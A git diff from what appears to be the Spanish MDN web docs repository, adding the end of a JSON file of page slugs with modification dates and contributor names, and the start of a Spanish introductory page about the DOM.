+      "dkmstr",
+      "BubuAnabelas",
+      "henryvanner",
+      "AlePerez92",
+      "ManuelRubio",
+      "JooseNavarro",
+      "juanrapoport",
+      "habax",
+      "SphinxKnight",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/var": {
+    "modified": "2020-03-12T19:36:22.778Z",
+    "contributors": [
+      "IsaacAaron",
+      "carlo.romero1991",
+      "SphinxKnight",
+      "teoli",
+      "Scipion",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/while": {
+    "modified": "2020-03-12T19:35:40.292Z",
+    "contributors": [
+      "MaurooRen",
+      "SphinxKnight",
+      "teoli",
+      "Pablo_Cabrera",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Sentencias/with": {
+    "modified": "2020-03-12T19:42:08.065Z",
+    "contributors": [
+      "MarkelCuesta",
+      "lokcito"
+    ]
+  },
+  "Web/JavaScript/Referencia/template_strings": {
+    "modified": "2020-10-14T18:58:58.164Z",
+    "contributors": [
+      "Magdiel",
+      "sanchezalvarezjp",
+      "JuanWTF",
+      "IsaacLf",
+      "theelmix",
+      "SphinxKnight",
+      "MarkelCuesta",
+      "kdex",
+      "mishelashala",
+      "orasio"
+    ]
+  },
+  "Web/JavaScript/Shells": {
+    "modified": "2020-03-12T19:44:40.392Z",
+    "contributors": [
+      "davidenriq11",
+      "mamptecnocrata"
+    ]
+  },
+  "Web/JavaScript/Una_re-introducción_a_JavaScript": {
+    "modified": "2020-09-01T08:31:36.135Z",
+    "contributors": [
+      "Nachec",
+      "pmcarballo",
+      "VictorSan45",
+      "DaniNz",
+      "jlopezfdez",
+      "mariodev12",
+      "javier_junin",
+      "GdoSan",
+      "unaisainz",
+      "oleurud",
+      "JavierHspn",
+      "jlmurgas",
+      "rivacubano",
+      "aaguilera",
+      "StripTM",
+      "bicentenario",
+      "NatiiDC",
+      "NicolasMendoza",
+      "LeoHirsch",
+      "lomejordejr",
+      "rogeliomtx",
+      "Jarkaos"
+    ]
+  },
+  "Web/JavaScript/Vectores_tipados": {
+    "modified": "2020-10-15T21:37:33.978Z",
+    "contributors": [
+      "Nachec",
+      "LeoE"
+    ]
+  },
+  "Web/JavaScript/enumeracion_y_propietario_de_propiedades": {
+    "modified": "2020-08-30T03:56:15.697Z",
+    "contributors": [
+      "Nachec",
+      "teoli",
+      "LeoHirsch"
+    ]
+  },
+  "Web/Manifest": {
+    "modified": "2020-07-18T01:40:57.131Z",
+    "contributors": [
+      "angelmlucero",
+      "ardillan",
+      "Zellius",
+      "Pablo_Bangueses",
+      "luisabarca",
+      "malonson",
+      "AlePerez92"
+    ]
+  },
+  "Web/MathML": {
+    "modified": "2020-10-15T21:24:26.572Z",
+    "contributors": [
+      "Undigon",
+      "teoli",
+      "fred.wang",
+      "ChaitanyaGSNR"
+    ]
+  },
+  "Web/MathML/Attribute": {
+    "modified": "2019-03-23T23:26:57.621Z",
+    "contributors": [
+      "LuifeR",
+      "ccarruitero",
+      "maedca"
+    ]
+  },
+  "Web/MathML/Authoring": {
+    "modified": "2019-03-23T23:27:02.180Z",
+    "contributors": [
+      "rafaqtro",
+      "fred.wang",
+      "voylinux",
+      "robertoasq",
+      "maedca"
+    ]
+  },
+  "Web/MathML/Elemento": {
+    "modified": "2019-03-23T23:37:26.121Z",
+    "contributors": [
+      "teoli",
+      "emejotados"
+    ]
+  },
+  "Web/MathML/Elemento/math": {
+    "modified": "2020-10-15T22:06:20.810Z",
+    "contributors": [
+      "Undigon"
+    ]
+  },
+  "Web/MathML/Examples": {
+    "modified": "2019-03-23T23:25:26.042Z",
+    "contributors": [
+      "nielsdg"
+    ]
+  },
+  "Web/MathML/Examples/MathML_Pythagorean_Theorem": {
+    "modified": "2019-03-23T23:25:28.102Z",
+    "contributors": [
+      "osvaldobaeza"
+    ]
+  },
+  "Web/Media": {
+    "modified": "2020-07-15T09:47:41.711Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/Media/Formats": {
+    "modified": "2020-07-15T09:47:42.018Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/Media/Formats/Containers": {
+    "modified": "2020-07-15T09:47:51.166Z",
+    "contributors": [
+      "hugojavierduran9"
+    ]
+  },
+  "Web/Performance": {
+    "modified": "2019-04-04T19:28:41.844Z",
+    "contributors": [
+      "arekucr",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/Performance/Fundamentals": {
+    "modified": "2019-05-05T06:54:02.458Z",
+    "contributors": [
+      "c-torres"
+    ]
+  },
+  "Web/Performance/How_browsers_work": {
+    "modified": "2020-09-10T10:11:23.592Z",
+    "contributors": [
+      "sancarbar"
+    ]
+  },
+  "Web/Performance/mejorando_rendimienot_inicial": {
+    "modified": "2019-04-04T17:42:18.542Z",
+    "contributors": [
+      "c-torres"
+    ]
+  },
+  "Web/Progressive_web_apps": {
+    "modified": "2020-09-20T04:18:55.064Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus",
+      "chrisdavidmills",
+      "hypnotic-frog",
+      "javichito"
+    ]
+  },
+  "Web/Progressive_web_apps/App_structure": {
+    "modified": "2020-09-20T03:39:21.273Z",
+    "contributors": [
+      "Nachec",
+      "NicolasKuhn"
+    ]
+  },
+  "Web/Progressive_web_apps/Developer_guide": {
+    "modified": "2020-09-20T03:25:40.381Z",
+    "contributors": [
+      "Deng_C1"
+    ]
+  },
+  "Web/Progressive_web_apps/Developer_guide/Instalar": {
+    "modified": "2020-09-20T03:25:41.762Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/Progressive_web_apps/Installable_PWAs": {
+    "modified": "2020-09-20T03:54:28.154Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/Progressive_web_apps/Introduction": {
+    "modified": "2020-09-20T03:34:06.424Z",
+    "contributors": [
+      "Nachec",
+      "gastono.442",
+      "tw1ttt3r",
+      "santi324",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/Progressive_web_apps/Loading": {
+    "modified": "2020-09-20T04:08:37.661Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/Progressive_web_apps/Offline_Service_workers": {
+    "modified": "2020-09-20T03:45:55.671Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/Progressive_web_apps/Re-engageable_Notifications_Push": {
+    "modified": "2020-09-20T04:04:04.639Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/Progressive_web_apps/Ventajas": {
+    "modified": "2019-11-03T14:52:14.998Z",
+    "contributors": [
+      "totopizzahn"
+    ]
+  },
+  "Web/Reference": {
+    "modified": "2019-03-23T23:21:27.898Z",
+    "contributors": [
+      "raecillacastellana",
+      "vltamara",
+      "asero82",
+      "atlas7jean",
+      "Nickolay"
+    ]
+  },
+  "Web/Reference/API": {
+    "modified": "2019-03-23T23:20:25.941Z",
+    "contributors": [
+      "AlePerez92",
+      "jhia",
+      "welm",
+      "vggallego",
+      "DeiberChacon",
+      "angmauricio",
+      "vitoco",
+      "CristianMar25",
+      "gesifred",
+      "cmeraz",
+      "davy.martinez"
+    ]
+  },
+  "Web/SVG": {
+    "modified": "2019-03-23T23:44:20.243Z",
+    "contributors": [
+      "Undigon",
+      "Noradrex",
+      "teoli",
+      "Verruckt",
+      "Jorolo",
+      "Mgjbot",
+      "Josebagar"
+    ]
+  },
+  "Web/SVG/Attribute": {
+    "modified": "2019-08-04T03:46:23.452Z",
+    "contributors": [
+      "jcortesa",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/SVG/Attribute/stop-color": {
+    "modified": "2020-10-15T22:06:34.292Z",
+    "contributors": [
+      "andcal"
+    ]
+  },
+  "Web/SVG/Attribute/transform": {
+    "modified": "2019-03-23T22:07:32.328Z",
+    "contributors": [
+      "dimuziop"
+    ]
+  },
+  "Web/SVG/Element": {
+    "modified": "2019-03-19T13:42:20.553Z",
+    "contributors": [
+      "borja",
+      "jmanquez",
+      "kscarfone"
+    ]
+  },
+  "Web/SVG/Element/a": {
+    "modified": "2020-10-15T22:16:15.979Z",
+    "contributors": [
+      "borja"
+    ]
+  },
+  "Web/SVG/Element/animate": {
+    "modified": "2020-10-15T22:09:39.514Z",
+    "contributors": [
+      "evaferreira"
+    ]
+  },
+  "Web/SVG/Element/circle": {
+    "modified": "2019-03-23T22:57:12.727Z",
+    "contributors": [
+      "wbamberg",
+      "Sebastianz",
+      "humbertaco"
+    ]
+  },
+  "Web/SVG/Element/foreignObject": {
+    "modified": "2019-03-23T23:05:21.297Z",
+    "contributors": [
+      "Sebastianz",
+      "THernandez03"
+    ]
+  },
+  "Web/SVG/Element/g": {
+    "modified": "2019-03-23T22:54:18.875Z",
+    "contributors": [
+      "Sebastianz",
+      "teoli",
+      "FrankzWolf"
+    ]
+  },
+  "Web/SVG/Element/glifo": {
+    "modified": "2019-03-23T22:53:24.929Z",
+    "contributors": [
+      "Sebastianz",
+      "saeioul"
+    ]
+  },
+  "Web/SVG/Element/rect": {
+    "modified": "2019-03-23T23:02:06.920Z",
+    "contributors": [
+      "wbamberg",
+      "roadev",
+      "Sebastianz",
+      "jdgarrido"
+    ]
+  },
+  "Web/SVG/Element/style": {
+    "modified": "2019-03-23T22:54:27.955Z",
+    "contributors": [
+      "Sebastianz",
+      "teoli",
+      "rippe2hl"
+    ]
+  },
+  "Web/SVG/Element/svg": {
+    "modified": "2020-11-04T10:23:00.659Z",
+    "contributors": [
+      "hardy.rafael17",
+      "Mcch",
+      "diegovinie",
+      "BubuAnabelas",
+      "mbenitez01"
+    ]
+  },
+  "Web/SVG/Element/text": {
+    "modified": "2020-05-14T06:42:53.448Z",
+    "contributors": [
+      "danielhiguerasgoold",
+      "Sebastianz",
+      "emorc"
+    ]
+  },
+  "Web/SVG/Element/use": {
+    "modified": "2019-03-23T22:58:09.476Z",
+    "contributors": [
+      "andysierra",
+      "Sebastianz",
+      "jorge_castro"
+    ]
+  },
+  "Web/SVG/Index": {
+    "modified": "2019-01-16T22:36:49.773Z",
+    "contributors": [
+      "jwhitlock",
+      "ComplementosMozilla"
+    ]
+  },
+  "Web/SVG/SVG_en_Firefox_1.5": {
+    "modified": "2019-03-23T23:42:07.791Z",
+    "contributors": [
+      "teoli",
+      "Mgjbot",
+      "Jorolo",
+      "Arcnor"
+    ]
+  },
+  "Web/SVG/Tutorial": {
+    "modified": "2020-01-15T20:06:40.249Z",
+    "contributors": [
+      "dago.d.havana",
+      "jpriet0",
+      "d-go",
+      "Npmada",
+      "teoli",
+      "Jeremie"
+    ]
+  },
+  "Web/SVG/Tutorial/Getting_Started": {
+    "modified": "2019-03-23T23:19:26.348Z",
+    "contributors": [
+      "kevinricardojs",
+      "teoli",
+      "Alberpat"
+    ]
+  },
+  "Web/SVG/Tutorial/Introducción": {
+    "modified": "2019-03-18T21:32:37.330Z",
+    "contributors": [
+      "Undigon",
+      "d-go"
+    ]
+  },
+  "Web/SVG/Tutorial/SVG_In_HTML_Introduction": {
+    "modified": "2019-03-23T23:21:05.945Z",
+    "contributors": [
+      "chrisdavidmills",
+      "matrimonio",
+      "verma21",
+      "marelin"
+    ]
+  },
+  "Web/SVG/Tutorial/Tools_for_SVG": {
+    "modified": "2019-03-20T13:46:46.393Z",
+    "contributors": [
+      "James-Yaakov"
+    ]
+  },
+  "Web/Security": {
+    "modified": "2019-09-10T16:32:01.356Z",
+    "contributors": [
+      "SphinxKnight",
+      "npcsayfail",
+      "lejovaar7",
+      "fgcalderon",
+      "pablodonoso",
+      "marumari"
+    ]
+  },
+  "Web/Security/CSP": {
+    "modified": "2019-03-23T22:48:09.013Z",
+    "contributors": [
+      "Anteojudo",
+      "Nydv"
+    ]
+  },
+  "Web/Security/CSP/CSP_policy_directives": {
+    "modified": "2019-03-23T22:46:40.903Z",
+    "contributors": [
+      "rafamagno",
+      "maedca"
+    ]
+  },
+  "Web/Security/CSP/Introducing_Content_Security_Policy": {
+    "modified": "2019-01-16T21:25:25.758Z",
+    "contributors": [
+      "Anteojudo",
+      "Nydv"
+    ]
+  },
+  "Web/Security/Same-origin_politica": {
+    "modified": "2019-10-30T15:38:34.673Z",
+    "contributors": [
+      "robertsallent",
+      "Abelhg"
+    ]
+  },
+  "Web/Security/Securing_your_site": {
+    "modified": "2019-03-23T22:04:13.465Z",
+    "contributors": [
+      "fgcalderon",
+      "mbm"
+    ]
+  },
+  "Web/Security/Securing_your_site/desactivar_autocompletado_formulario": {
+    "modified": "2019-03-23T22:04:06.546Z",
+    "contributors": [
+      "samus128",
+      "Hoosep"
+    ]
+  },
+  "Web/Tutoriales": {
+    "modified": "2020-11-30T04:19:10.869Z",
+    "contributors": [
+      "blanchart",
+      "mastertrooper",
+      "Enesimus",
+      "ewan-m",
+      "Yes197",
+      "VlixesItaca",
+      "pucherico",
+      "CristopherAE",
+      "fperaltaN",
+      "isabelcarrod",
+      "Sheppy",
+      "iKenshu",
+      "JuanC_01",
+      "ubermensch79",
+      "cynthia",
+      "rubencidlara",
+      "fmagrosoto",
+      "CarlosQuijano",
+      "diegogaysaez"
+    ]
+  },
+  "Web/Web_Components": {
+    "modified": "2020-05-21T13:06:07.299Z",
+    "contributors": [
+      "aguilerajl",
+      "Ktoxcon",
+      "IsraelFloresDGA",
+      "mboo",
+      "Rodmore",
+      "maybe"
+    ]
+  },
+  "Web/Web_Components/Custom_Elements": {
+    "modified": "2019-03-23T22:21:51.809Z",
+    "contributors": [
+      "cawilff",
+      "AlePerez92",
+      "fipadron",
+      "V.Morantes"
+    ]
+  },
+  "Web/Web_Components/Using_custom_elements": {
+    "modified": "2020-06-28T18:39:06.239Z",
+    "contributors": [
+      "lupomontero",
+      "aguilerajl"
+    ]
+  },
+  "Web/Web_Components/Using_shadow_DOM": {
+    "modified": "2020-10-24T17:36:39.409Z",
+    "contributors": [
+      "jephsanchez",
+      "Charlemagnes",
+      "quintero_japon",
+      "DavidGalvis"
+    ]
+  },
+  "Web/Web_Components/Using_templates_and_slots": {
+    "modified": "2020-03-26T15:38:45.869Z",
+    "contributors": [
+      "olalinv",
+      "quintero_japon",
+      "BrunoUY",
+      "ulisestrujillo"
+    ]
+  },
+  "Web/XML": {
+    "modified": "2019-03-18T21:18:03.528Z",
+    "contributors": [
+      "ExE-Boss"
+    ]
+  },
+  "Web/XML/Introducción_a_XML": {
+    "modified": "2019-07-25T12:38:17.842Z",
+    "contributors": [
+      "jugonzalez40",
+      "ExE-Boss",
+      "npcsayfail",
+      "israel-munoz",
+      "Mgjbot",
+      "Superruzafa",
+      "Fedora-core",
+      "Jorolo"
+    ]
+  },
+  "Web/XPath": {
+    "modified": "2019-01-16T14:32:30.886Z",
+    "contributors": [
+      "ExE-Boss",
+      "fscholz",
+      "Mgjbot",
+      "Jorolo"
+    ]
+  },
+  "Web/XPath/Ejes": {
+    "modified": "2019-03-18T20:59:19.791Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Mgjbot",
+      "Jorolo",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/ancestor": {
+    "modified": "2019-01-16T16:11:09.049Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/ancestor-or-self": {
+    "modified": "2019-01-16T16:11:00.606Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/attribute": {
+    "modified": "2019-01-16T16:11:03.106Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/child": {
+    "modified": "2019-01-16T16:11:02.142Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/descendant": {
+    "modified": "2019-01-16T16:11:00.301Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/descendant-or-self": {
+    "modified": "2019-01-16T16:11:00.088Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/following": {
+    "modified": "2019-01-16T16:10:55.079Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/following-sibling": {
+    "modified": "2019-01-16T16:11:02.465Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/namespace": {
+    "modified": "2019-01-16T16:10:55.086Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/parent": {
+    "modified": "2019-01-16T16:10:56.130Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/preceding": {
+    "modified": "2019-01-16T16:11:08.778Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Ejes/preceding-sibling": {
+    "modified": "2019-01-16T16:10:57.298Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Funciones": {
+    "modified": "2019-03-23T22:09:03.742Z",
+    "contributors": [
+      "ExE-Boss",
+      "Zoditu"
+    ]
+  },
+  "Web/XPath/Funciones/contains": {
+    "modified": "2019-01-16T15:50:22.864Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Funciones/substring": {
+    "modified": "2019-01-16T15:50:01.578Z",
+    "contributors": [
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XPath/Funciones/true": {
+    "modified": "2019-03-18T20:59:19.925Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Mgjbot",
+      "Cmayo"
+    ]
+  },
+  "Web/XSLT": {
+    "modified": "2019-03-23T23:44:23.657Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Verruckt",
+      "Mgjbot",
+      "Jorolo",
+      "Nukeador",
+      "Piltrafeta"
+    ]
+  },
+  "Web/XSLT/Element": {
+    "modified": "2019-03-18T20:59:16.316Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "chrisdavidmills",
+      "fscholz",
+      "Jorolo",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/Element/element": {
+    "modified": "2019-03-18T20:59:21.788Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/Transformando_XML_con_XSLT": {
+    "modified": "2019-01-16T16:11:59.562Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Superruzafa",
+      "Mgjbot",
+      "Jorolo",
+      "Ivanfrade",
+      "Piltrafeta",
+      "Nukeador"
+    ]
+  },
+  "Web/XSLT/apply-imports": {
+    "modified": "2019-03-18T20:59:15.544Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/apply-templates": {
+    "modified": "2019-03-18T20:59:18.352Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/attribute": {
+    "modified": "2019-03-18T20:59:20.857Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/attribute-set": {
+    "modified": "2019-03-18T20:59:20.997Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/call-template": {
+    "modified": "2019-03-18T20:59:16.448Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/choose": {
+    "modified": "2019-03-18T20:59:21.136Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos",
+      "Cmayo"
+    ]
+  },
+  "Web/XSLT/comment": {
+    "modified": "2019-03-18T20:59:15.680Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos",
+      "Cmayo"
+    ]
+  },
+  "Web/XSLT/copy": {
+    "modified": "2019-03-18T20:59:16.879Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/copy-of": {
+    "modified": "2019-03-18T20:59:18.212Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/decimal-format": {
+    "modified": "2019-03-18T20:59:17.054Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/fallback": {
+    "modified": "2019-03-18T20:59:15.971Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/for-each": {
+    "modified": "2019-03-18T20:59:16.114Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/if": {
+    "modified": "2019-03-18T20:59:17.200Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Jrbellido",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/import": {
+    "modified": "2019-03-18T20:59:15.818Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/include": {
+    "modified": "2019-03-18T20:59:17.940Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/key": {
+    "modified": "2019-03-18T20:59:21.931Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/message": {
+    "modified": "2019-03-18T20:59:16.585Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos",
+      "Cmayo"
+    ]
+  },
+  "Web/XSLT/namespace-alias": {
+    "modified": "2019-03-18T20:59:19.621Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/number": {
+    "modified": "2019-03-18T20:59:21.341Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos"
+    ]
+  },
+  "Web/XSLT/otherwise": {
+    "modified": "2019-03-18T20:59:16.726Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos",
+      "Cmayo"
+    ]
+  },
+  "Web/XSLT/when": {
+    "modified": "2019-03-18T20:59:18.078Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos",
+      "Cmayo"
+    ]
+  },
+  "Web/XSLT/with-param": {
+    "modified": "2019-03-18T20:59:17.348Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Mgjbot",
+      "ErickCastellanos",
+      "Cmayo"
+    ]
+  },
+  "WebAPI": {
+    "modified": "2019-03-23T23:32:09.157Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "ccarruitero",
+      "maedca",
+      "ethertank",
+      "Jeremie"
+    ]
+  },
+  "WebAPI/Estado_de_Bateria": {
+    "modified": "2019-03-23T23:25:28.703Z",
+    "contributors": [
+      "sinfallas"
+    ]
+  },
+  "WebAPI/Pointer_Lock": {
+    "modified": "2019-03-23T23:28:21.712Z",
+    "contributors": [
+      "fscholz",
+      "arquigames",
+      "joredjs"
+    ]
+  },
+  "WebAPI/Using_geolocation": {
+    "modified": "2019-05-04T15:09:02.013Z",
+    "contributors": [
+      "mauroarcet",
+      "claudionebbia",
+      "pixelmin",
+      "guissellavillarreal",
+      "untilbit",
+      "BRIGIDAMATTERA",
+      "cizquierdof",
+      "rubencidlara",
+      "lfentanes",
+      "diegogarcia"
+    ]
+  },
+  "WebAssembly": {
+    "modified": "2020-10-15T22:25:36.765Z",
+    "contributors": [
+      "jonathan.reyes33"
+    ]
+  },
+  "WebAssembly/Concepts": {
+    "modified": "2020-12-06T14:14:45.486Z",
+    "contributors": [
+      "Sergio_Gonzalez_Collado",
+      "mastertrooper"
+    ]
+  },
+  "WebAssembly/Loading_and_running": {
+    "modified": "2020-09-15T19:19:35.117Z",
+    "contributors": [
+      "mastertrooper"
+    ]
+  },
+  "WebRTC": {
+    "modified": "2019-03-23T23:26:58.291Z",
+    "contributors": [
+      "sebasmagri"
+    ]
+  },
+  "WebRTC/Introduction": {
+    "modified": "2019-03-23T23:26:58.387Z",
+    "contributors": [
+      "maedca",
+      "voylinux"
+    ]
+  },
+  "WebRTC/MediaStream_API": {
+    "modified": "2019-03-23T23:26:56.897Z",
+    "contributors": [
+      "palfrei",
+      "maedca"
+    ]
+  },
+  "WebRTC/Peer-to-peer_communications_with_WebRTC": {
+    "modified": "2019-03-23T23:27:02.999Z",
+    "contributors": [
+      "pablocubico",
+      "maedca"
+    ]
+  },
+  "WebRTC/Taking_webcam_photos": {
+    "modified": "2019-03-23T23:26:57.758Z",
+    "contributors": [
+      "robertoasq",
+      "maedca"
+    ]
+  },
+  "WebSockets": {
+    "modified": "2019-01-16T13:56:47.847Z",
+    "contributors": [
+      "inma_610"
+    ]
+  },
+  "Web_Audio_API": {
+    "modified": "2019-03-23T23:31:19.634Z",
+    "contributors": [
+      "estebanborai",
+      "AngelFQC",
+      "Pau_Ilargia",
+      "maedca"
+    ]
+  },
+  "Web_Development/Mobile": {
+    "modified": "2019-03-23T23:32:51.331Z",
+    "contributors": [
+      "wbamberg"
+    ]
+  },
+  "Web_Development/Mobile/Diseño_responsivo": {
+    "modified": "2019-03-23T23:32:50.922Z",
+    "contributors": [
+      "fitojb",
+      "pacommozilla",
+      "wfranck",
+      "rafael_mora",
+      "htrellez"
+    ]
+  },
+  "XHTML": {
+    "modified": "2019-03-23T23:46:04.272Z",
+    "contributors": [
+      "Mgjbot",
+      "Jorolo",
+      "Nukeador"
+    ]
+  },
+  "XPInstall_API_Reference": {
+    "modified": "2019-01-16T15:37:54.457Z",
+    "contributors": [
+      "Eddomita"
+    ]
+  },
+  "Zoom_a_página_completa": {
+    "modified": "2019-03-23T23:50:26.114Z",
+    "contributors": [
+      "wbamberg",
+      "Nukeador",
+      "Mariano",
+      "Mgjbot"
+    ]
+  },
+  "nsDirectoryService": {
+    "modified": "2019-03-23T23:40:31.943Z",
+    "contributors": [
+      "teoli",
+      "Breaking Pitt"
+    ]
+  }
+}
\ No newline at end of file
diff --git a/files/es/acerca_del_modelo_de_objetos_del_documento/index.html b/files/es/acerca_del_modelo_de_objetos_del_documento/index.html
new file mode 100644
index 0000000000..b43b75fc89
--- /dev/null
+++ b/files/es/acerca_del_modelo_de_objetos_del_documento/index.html
@@ -0,0 +1,23 @@
+---
+title: Acerca del Modelo de Objetos del Documento
+slug: Acerca_del_Modelo_de_Objetos_del_Documento
+tags:
+  - DOM
+  - Todas_las_Categorías
+translation_of: Web/API/Document_Object_Model
+---
+<h3 id=".C2.BFQu.C3.A9_es_DOM.3F" name=".C2.BFQu.C3.A9_es_DOM.3F">¿Qué es DOM?</h3>
+
+<p>El <strong>Modelo de Objetos del Documento</strong> (DOM) es un <a class="external" href="http://es.wikipedia.org/wiki/API">API</a> para documentos <a href="/es/HTML" title="es/HTML">HTML</a> y <a href="/es/XML" title="es/XML">XML</a>. Proporciona una representación estructural del documento, permitiendo la modificación de su contenido y visualización. Esencialmente, comunica las páginas web con los scripts o los lenguajes de programación.</p>
+
+<p>Todas las propiedades, métodos, y eventos disponibles por el desarrollador web para manipular y crear páginas web están organizados en objetos (por ejemplo: el objeto 'document' representa al documento en sí mismo, el objeto 'table' representa los elementos HTML para tablas, etcétera). En los navegadores modernos estos objetos son manejables con lenguajes de scripts.</p>
+
+<p>Es muy común usar DOM conjuntamente con <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a>. Así es, el código es escrito en JavaScript, pero éste usa DOM para tener acceso a la página Web y sus elementos. Sin embargo, DOM fue diseñado para ser independiente de cualquier lenguaje de programación concreto, poniendo la representación estructural del documento disponible en un solo API consistente. Aunque en este sitio nos centremos en JavaScript, las implementaciones de DOM pueden hacerse para <a class="external" href="http://www.w3.org/DOM/Bindings">cualquier lenguaje</a>.</p>
+
+<p>El <a class="external" href="http://www.w3c.es/">Consorcio de World Wide Web</a> establece un <a class="external" href="http://www.w3.org/DOM/">estándar para el DOM</a>, llamado W3C DOM. Actualmente los navegadores más importantes lo soportan correctamente, ésto permite crear poderosas aplicaciones multi-navegador.</p>
+
